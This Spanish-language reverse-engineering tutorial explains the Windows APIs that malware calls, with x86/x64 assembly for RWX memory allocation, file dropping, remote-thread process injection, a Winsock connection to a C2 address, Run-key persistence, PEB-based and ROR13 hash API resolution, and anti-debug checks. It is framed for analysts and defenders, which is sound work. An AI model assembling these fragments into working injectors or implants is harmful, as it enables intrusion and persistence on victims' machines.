Intermedioensambladorwindows-apimalwarereverse-engineeringshellcode

API Calls de Windows en Ensamblador: Lo que el Malware Ejecuta

Referencia de las APIs de Windows mas usadas por malware vistas desde ensamblador. Operaciones de archivos, memoria, procesos, red y registro. Como leer los parametros en x86 y x64, y como el malware resuelve APIs dinamicamente.

MalwareIntel Research··11 min lectura
Serie: Lenguaje Ensamblador — Parte 6

Las APIs como vocabulario del malware

El malware de Windows no inventa primitivas de bajo nivel para interactuar con el sistema operativo. Usa las mismas APIs que cualquier programa legitimo: crear archivos, asignar memoria, lanzar procesos, comunicarse por red. La diferencia esta en como las usa y en que combinaciones.

Cuando analizas malware en ensamblador, las llamadas a APIs de Windows son tus puntos de referencia. Cada CALL a una API te dice que esta haciendo el malware en ese momento. Los parametros antes del CALL te dicen los detalles: que archivo abre, cuanta memoria pide, que proceso crea, a que IP se conecta.

Este articulo es una referencia de las APIs mas relevantes, organizadas por categoria, con su firma en ensamblador x86 y x64.

Memoria: VirtualAlloc y VirtualProtect

VirtualAlloc

VirtualAlloc asigna memoria virtual. Es la API favorita del malware para obtener memoria donde escribir y ejecutar shellcode.

// Firma C
LPVOID VirtualAlloc(
  LPVOID lpAddress,         // direccion deseada (NULL = el SO elige)
  SIZE_T dwSize,            // tamano en bytes
  DWORD  flAllocationType,  // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
  DWORD  flProtect          // permisos de pagina
);

En x86:

push 0x40              ; PAGE_EXECUTE_READWRITE (RWX)
push 0x3000            ; MEM_COMMIT | MEM_RESERVE
push 0x1000            ; 4096 bytes
push 0                 ; NULL (el SO elige la direccion)
call VirtualAlloc
; EAX = direccion de la memoria asignada (o NULL si falla)
test eax, eax
jz error_alloc
mov [shellcode_addr], eax

En x64:

mov r9d, 0x40          ; flProtect = PAGE_EXECUTE_READWRITE
mov r8d, 0x3000        ; flAllocationType = MEM_COMMIT | MEM_RESERVE
mov edx, 0x1000        ; dwSize = 4096
xor ecx, ecx           ; lpAddress = NULL
sub rsp, 0x28          ; shadow space
call VirtualAlloc
add rsp, 0x28
test rax, rax
jz error_alloc

Valores de flProtect que indican actividad sospechosa:

ConstanteValorSignificado
PAGE_EXECUTE_READWRITE0x40RWX: la senal de alerta principal
PAGE_EXECUTE_READ0x20RX: mas sutil, el malware escribe primero con RW y luego cambia a RX
PAGE_READWRITE0x04RW: normal para datos, sospechoso si luego cambia a RX

VirtualProtect

VirtualProtect cambia los permisos de una region de memoria existente. El malware sofisticado asigna memoria con RW (no sospechoso), escribe el shellcode y luego cambia los permisos a RX con VirtualProtect:

; x86
push offset old_protect     ; lpflOldProtect (output)
push 0x20                   ; PAGE_EXECUTE_READ (cambiar a RX)
push 0x1000                 ; tamano
push [shellcode_addr]       ; direccion base
call VirtualProtect

Archivos: CreateFile, ReadFile, WriteFile

CreateFileA / CreateFileW

CreateFile es la API principal para abrir archivos. El malware la usa para leer archivos de configuracion, escribir payloads en disco, abrir pipes para comunicacion entre procesos y acceder a dispositivos.

; x86 (stdcall, 7 parametros)
push 0                      ; hTemplateFile = NULL
push 0x80                   ; dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
push 2                      ; dwCreationDisposition = CREATE_ALWAYS
push 0                      ; lpSecurityAttributes = NULL
push 0                      ; dwShareMode = 0 (exclusivo)
push 0x40000000             ; dwDesiredAccess = GENERIC_WRITE
push offset szDropperPath   ; lpFileName = "C:\\Windows\\Temp\\payload.exe"
call CreateFileW
cmp eax, -1                 ; INVALID_HANDLE_VALUE
je error
mov [hFile], eax

Valores de dwCreationDisposition relevantes:

ConstanteValorMalware lo usa para
CREATE_ALWAYS2Dropper: crear archivos de payload
OPEN_EXISTING3Leer archivos de configuracion, acceder a pipes
CREATE_NEW1Crear archivos sin sobrescribir (menos comun)

WriteFile

Despues de abrir un archivo con GENERIC_WRITE, el malware escribe contenido:

; x86
push 0                      ; lpOverlapped = NULL
push offset bytesWritten    ; lpNumberOfBytesWritten
push [payload_size]         ; nNumberOfBytesToWrite
push [payload_buffer]       ; lpBuffer (datos a escribir)
push [hFile]                ; hFile (handle de CreateFile)
call WriteFile

Si ves CreateFileW con CREATE_ALWAYS seguido de WriteFile, el malware esta dropeando un archivo en disco. Examina el buffer que se escribe: puede ser un segundo ejecutable, un script o una DLL.

Procesos: CreateProcess y CreateRemoteThread

CreateProcessA / CreateProcessW

CreateProcess lanza un nuevo proceso. El malware lo usa para ejecutar payloads dropeados, comandos del sistema o crear procesos hijo para inyeccion.

; x86 (10 parametros, stdcall)
push offset pi              ; PROCESS_INFORMATION output
push offset si              ; STARTUPINFO (configuracion de ventana)
push 0                      ; lpCurrentDirectory = NULL
push 0                      ; lpEnvironment = NULL
push 0x08000000             ; dwCreationFlags = CREATE_NO_WINDOW
push 0                      ; bInheritHandles = FALSE
push 0                      ; lpThreadAttributes = NULL
push 0                      ; lpProcessAttributes = NULL
push offset szCmdLine       ; lpCommandLine = "cmd.exe /c ..."
push 0                      ; lpApplicationName = NULL
call CreateProcessW

dwCreationFlags sospechosos:

FlagValorSignificado
CREATE_NO_WINDOW0x08000000Proceso sin ventana visible
CREATE_SUSPENDED0x00000004Proceso creado suspendido (para process hollowing)
DETACHED_PROCESS0x00000008Sin consola padre

CREATE_SUSPENDED es una senal fuerte de process hollowing: el malware crea un proceso suspendido, reemplaza su memoria con codigo malicioso y lo reanuda.

CreateRemoteThread

CreateRemoteThread crea un hilo en otro proceso. Es el mecanismo clasico de inyeccion de codigo:

; x86: inyectar shellcode en otro proceso
; Paso 1: VirtualAllocEx (asignar memoria en proceso remoto)
push 0x40                   ; PAGE_EXECUTE_READWRITE
push 0x3000                 ; MEM_COMMIT | MEM_RESERVE
push [shellcode_size]       ; tamano
push 0                      ; direccion (NULL)
push [hProcess]             ; handle del proceso objetivo
call VirtualAllocEx
mov [remote_addr], eax

; Paso 2: WriteProcessMemory (escribir shellcode en proceso remoto)
push 0                      ; lpNumberOfBytesWritten
push [shellcode_size]
push [shellcode_local]
push [remote_addr]
push [hProcess]
call WriteProcessMemory

; Paso 3: CreateRemoteThread (ejecutar shellcode en proceso remoto)
push 0                      ; lpThreadId
push 0                      ; dwCreationFlags
push 0                      ; lpParameter
push [remote_addr]          ; lpStartAddress (shellcode)
push 0                      ; dwStackSize
push 0                      ; lpThreadAttributes
push [hProcess]             ; hProcess
call CreateRemoteThread

La secuencia VirtualAllocEx, WriteProcessMemory, CreateRemoteThread es la firma clasica de inyeccion de proceso. Los EDRs la monitorizan activamente.

Red: sockets de Winsock

WSAStartup, socket/WSASocket, connect, send, recv

La comunicacion de red con el servidor C2 sigue un patron predecible:

; Inicializar Winsock
push offset wsaData
push 0x0202                 ; version 2.2
call WSAStartup

; Crear socket TCP
push 0                      ; dwFlags
push 0                      ; g (grupo)
push 0                      ; lpProtocolInfo
push 6                      ; protocol = IPPROTO_TCP
push 1                      ; type = SOCK_STREAM
push 2                      ; af = AF_INET
call WSASocketA
mov [sock], eax

; Conectar al C2
; sockaddr_in en el stack:
push 0                      ; sin_zero (padding)
push 0
push 0xC0A80165             ; sin_addr = 192.168.1.101 (little-endian: 65.01.A8.C0)
push 0x01BB0002             ; sin_port = 443 (0x01BB), sin_family = AF_INET (2)
mov ecx, esp                ; puntero a la estructura
push 16                     ; namelen = sizeof(sockaddr_in)
push ecx                    ; name (puntero a sockaddr_in)
push [sock]                 ; socket
call connect

La direccion IP y el puerto del C2 son los datos mas valiosos que puedes extraer del ensamblador de un RAT. Busca la estructura sockaddr_in antes del CALL a connect. Recuerda que la IP esta en network byte order (big-endian) y el puerto tambien.

send y recv

; Enviar datos al C2
push 0                      ; flags
push [data_len]             ; longitud
push [data_buf]             ; buffer con datos
push [sock]                 ; socket
call send

; Recibir datos del C2
push 0                      ; flags
push 4096                   ; longitud maxima
push offset recv_buf        ; buffer destino
push [sock]                 ; socket
call recv
; EAX = bytes recibidos (o error)

Registro: persistencia

RegOpenKeyExA y RegSetValueExA

El malware usa el registro de Windows para persistencia (ejecutarse al reinicio):

; Abrir clave de registro
push offset hKey            ; phkResult (output)
push 0x20006                ; samDesired = KEY_SET_VALUE
push 0                      ; ulOptions
push offset szSubKey        ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
push 0x80000001             ; hKey = HKEY_CURRENT_USER
call RegOpenKeyExA

; Escribir valor (persistencia)
push [path_len]             ; cbData (longitud del path del malware)
push offset szMalwarePath   ; lpData ("C:\\Users\\...\\malware.exe")
push 1                      ; dwType = REG_SZ
push 0                      ; Reserved
push offset szValueName     ; lpValueName = "WindowsUpdate"
push [hKey]                 ; hKey (del RegOpenKeyEx)
call RegSetValueExA

; Cerrar clave
push [hKey]
call RegCloseKey

La clave HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run es la ubicacion mas comun para persistencia via registro. Si ves RegSetValueEx con esta clave, el malware se esta instalando para ejecutarse automaticamente.

Resolucion dinamica de APIs

El malware mas sofisticado no importa funciones sospechosas en su IAT. En su lugar, resuelve las direcciones de las funciones en runtime:

LoadLibrary + GetProcAddress

; Cargar DLL que no esta en imports
push offset szWs2_32       ; "ws2_32.dll"
call LoadLibraryA
mov [hWs2], eax

; Resolver funcion
push offset szConnect       ; "connect"
push [hWs2]                 ; handle de la DLL
call GetProcAddress
mov [pConnect], eax         ; puntero a la funcion connect

; Llamar a la funcion resuelta
push 16
push offset sockaddr
push [sock]
call [pConnect]             ; CALL indirecto via puntero

Las imports del binario solo muestran LoadLibraryA y GetProcAddress. Las funciones reales (connect, send, VirtualAlloc, etc.) no aparecen, dificultando el triage estatico.

Resolucion via PEB (shellcode)

El shellcode no puede usar LoadLibrary porque no sabe su direccion. En su lugar, recorre el PEB para encontrar kernel32.dll:

; Encontrar kernel32.dll via PEB
xor eax, eax
mov eax, fs:[0x30]         ; PEB
mov eax, [eax+0x0C]        ; PEB->Ldr (PEB_LDR_DATA)
mov eax, [eax+0x14]        ; InMemoryOrderModuleList.Flink
mov eax, [eax]             ; segundo modulo (ntdll.dll)
mov eax, [eax]             ; tercer modulo (kernel32.dll)
mov eax, [eax+0x10]        ; DllBase de kernel32.dll

; Ahora recorre la Export Directory de kernel32.dll
; para encontrar GetProcAddress por nombre o hash

Este patron (acceso a FS:[0x30], seguido de traversal de lista enlazada) es la firma universal del shellcode de Windows. Ghidra e IDA lo reconocen y lo anotan automaticamente en la mayoria de los casos.

Resolucion por hash de API

Para evitar almacenar strings como "GetProcAddress" (que son detectables por firmas), el shellcode y el malware avanzado calculan un hash del nombre de la funcion y lo comparan con hashes precalculados:

; Loop de busqueda por hash
; ESI = puntero a la tabla de nombres de exports
; ECX = numero de exports
buscar_api:
  push ecx
  mov edi, [esi]           ; nombre de la funcion actual
  add edi, [base_dll]      ; RVA a VA
  xor eax, eax             ; hash = 0
hash_loop:
  movzx edx, byte [edi]
  test dl, dl
  jz  hash_done
  ror eax, 13              ; rotar derecha 13 bits (ROR13 hash)
  add eax, edx             ; acumular caracter
  inc edi
  jmp hash_loop
hash_done:
  cmp eax, 0x0726774C      ; hash precalculado de "LoadLibraryA"
  je  encontrada
  add esi, 4
  pop ecx
  dec ecx
  jnz buscar_api

El hash ROR13 es el mas comun, popularizado por Metasploit. Pero cada familia de malware puede usar su propio algoritmo de hash. Si ves un loop que lee caracteres de strings y aplica operaciones aritmeticas (ROL, ROR, ADD, XOR, MUL) para producir un valor de 32 bits, es casi seguro un hash de API.

Herramientas como HashDB (plugin IDA), ShellcodeHash y los scripts de FLARE team permiten buscar hashes precalculados para identificar que funcion esta resolviendo el malware.

APIs de evasion

IsDebuggerPresent y CheckRemoteDebuggerPresent

call IsDebuggerPresent
test eax, eax
jnz detectado_debugger     ; si hay debugger, evadir o terminar

GetTickCount y QueryPerformanceCounter

El malware mide el tiempo entre dos puntos. Si la diferencia es demasiado grande (indicando single-stepping en un debugger) o demasiado pequena (indicando un fast-forward en sandbox), toma medidas evasivas.

call GetTickCount
mov [tiempo_inicial], eax
; ... codigo que deberia ser rapido ...
call GetTickCount
sub eax, [tiempo_inicial]
cmp eax, 1000              ; mas de 1 segundo?
ja  posible_debugger        ; probablemente single-stepping

Identificar APIs en Ghidra e IDA

Cuando analizas un binario, las APIs importadas aparecen en la tabla de imports. Pero para APIs resueltas dinamicamente:

  1. Busca calls a GetProcAddress: el segundo parametro es el nombre de la funcion
  2. Busca accesos a FS:[0x30] (x86) o GS:[0x60] (x64): resolucion via PEB
  3. Busca loops con ROR/ROL y ADD sobre bytes de strings: hash de API
  4. En el debugger, pon breakpoints en GetProcAddress y LoadLibrary para capturar las resoluciones en runtime
  5. Usa x64dbg con el plugin ScyllaHide para ocultar el debugger de las verificaciones anti-debug

Las APIs que el malware resuelve dinamicamente suelen ser las mas interesantes para el analisis: son las funciones que el autor del malware queria ocultar del analisis estatico.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.